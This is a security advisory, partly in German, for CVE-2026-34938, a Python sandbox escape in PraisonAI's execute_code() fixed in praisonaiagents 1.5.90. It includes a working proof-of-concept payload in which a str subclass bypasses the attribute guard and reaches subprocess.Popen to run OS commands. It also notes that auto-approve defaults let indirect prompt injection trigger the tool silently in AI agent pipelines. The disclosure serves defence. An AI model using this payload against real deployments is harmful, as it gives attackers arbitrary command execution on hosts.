CVE-2026-34938
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Auswirkung
### Summary `execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host. ### Details `python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink) ```python # source -- _safe_getattr accepts any str subclass def _safe_getattr(obj, name, *default): if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses raise AttributeError(...) # hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False}) # sink -- Popen reached via __subclasses__ walk r = Popen(['id'], stdout=PIPE, stderr=PIPE) ``` ### PoC ```python from praisonaiagents.tools.python_tools import execute_code payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False}) mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_'])) subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_'])) mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_'])) name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_'])) PIPE = -1 obj_class = getattr(type(()), mro_attr)[1] for cls in getattr(obj_class, subs_attr)(): try: m = getattr(cls, mod_attr, '') n = getattr(cls, name_attr, '') if m == 'subprocess' and n == 'Popen': r = cls(['id'], stdout=PIPE, stderr=PIPE) out, err = r.communicate() print('RCE:', out.decode()) break except Exception as e: print('ERR:', e) """ result = execute_code(code=payload) print(result) # expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)... ``` ### Impact Any user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
Ein Angreifer kann die Lücke über das Netzwerk ausnutzen, ohne Anmeldung, ohne Zutun eines Nutzers. Bei Erfolg: hohes Risiko, dass Daten ausgelesen werden, hohes Risiko, dass Daten oder Systeme verändert werden, hohes Risiko für Ausfälle. Der Angriff kann über die verwundbare Komponente hinaus wirken.
Betroffene Pakete
| Ökosystem | Paket | Betroffen | Behoben in |
|---|---|---|---|
| pip | praisonaiagents | <= 1.5.89 | 1.5.90 |
Betroffene Produkte · Praison
| Produkt | Betroffene Versionen |
|---|---|
| Praisonaiagents | vor 1.5.90 |
Schwachstellenklasse
Referenzen
- NVD-Eintrag
- CVE.org-Eintrag
- GitHub-Advisory
- https://github.com/advisories/GHSA-6vh2-h83c-9294
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294
- https://nvd.nist.gov/vuln/detail/CVE-2026-34938
- https://github.com/pypa/advisory-database/tree/main/vulns/praisonaiagents/PYSEC-2026-484.yaml
- https://pypi.org/project/praisonaiagents